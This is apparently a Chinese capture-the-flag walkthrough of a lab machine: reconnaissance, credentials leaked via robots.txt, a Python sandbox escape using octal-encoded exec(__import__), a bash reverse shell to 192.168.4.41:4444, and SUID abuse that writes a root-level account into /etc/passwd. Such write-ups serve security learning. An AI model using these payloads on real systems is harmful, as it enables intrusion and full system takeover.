目录
一、信息收集
(一)端口服务探测
(二)目录扫描
二、漏洞挖掘
(一)robots敏感信息泄露
(二)python IDE沙箱绕过RCE
1. python敏感函数沙盒绕过
2. exec(__import__)绕过
三、提权
(一)suid提权拿到py用户权限
(二)suid提权获取root权限
1.linux用户hash密码生成
2.执行backup文件添加root用户权限账户
四、知识点
(一)python敏感函数检测沙盒绕过
(二)linux用户hash密码生成
(三)suid提权
发现目标开放80和22端口,开放的组件经漏洞搜索未发现具有rce的历史漏洞
除了nmap漏扫在robots.txt下发现的三个目录,未发现可利用价值的目录
在robots下发现三个可目录,访问/zbir7mn240soxhicso2z拿到一个账户信息,访问登录页面进行登录成功。
登录成功之后点击welcome跳转到Python代码执行页面,存在敏感函数限制提醒页面,import/os/open等。
https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes#executing-python-code
经过测试,使用__import__()函数把数据八进制可以绕过成功执行命令,使用解码解密工具进行转化
在program中输入:
exec("137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
反弹shell
#__import__('os').system('bash -i >& /dev/tcp/192.168.4.41/4444 0>&1')
Suid提权原理,当文件具备suid权限时,执行时拥有文件所有者权限。
在py目录下查看到所有文件都是py用户权限的,但是存在一个typing的具有suid权限,意味着运行时可以以py权限去执行。
运行文件,提示是一个小游戏,输入the quick brown fox jumps over the lazy dog,可以拿到py的password
Ssh登录拿到py用户
在secret_stuff目录下存在backup文件具有suid权限,运行时存在root权限。查看backup.cc源码,发现可利用添加用户。
使用mkpasswd生成hash密码666666
#mkpasswd -m sha-512
密码8个6
备份添加,注意保存目录/srv/backups/../../etc/passwd
#revenge2:$6$UncBesem/JQivwYb$0qUgjVWHA5eT4mOh0/3ca60ym88DpaEoAviwKs2zSv9fyJy84gczwD0CWiNB.vJyIzHzTLusR7z3gWkeWhS94/:0:0:root:/root:/bin/bash
切换到revenge2,成功拿到root权限。
https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes#executing-python-code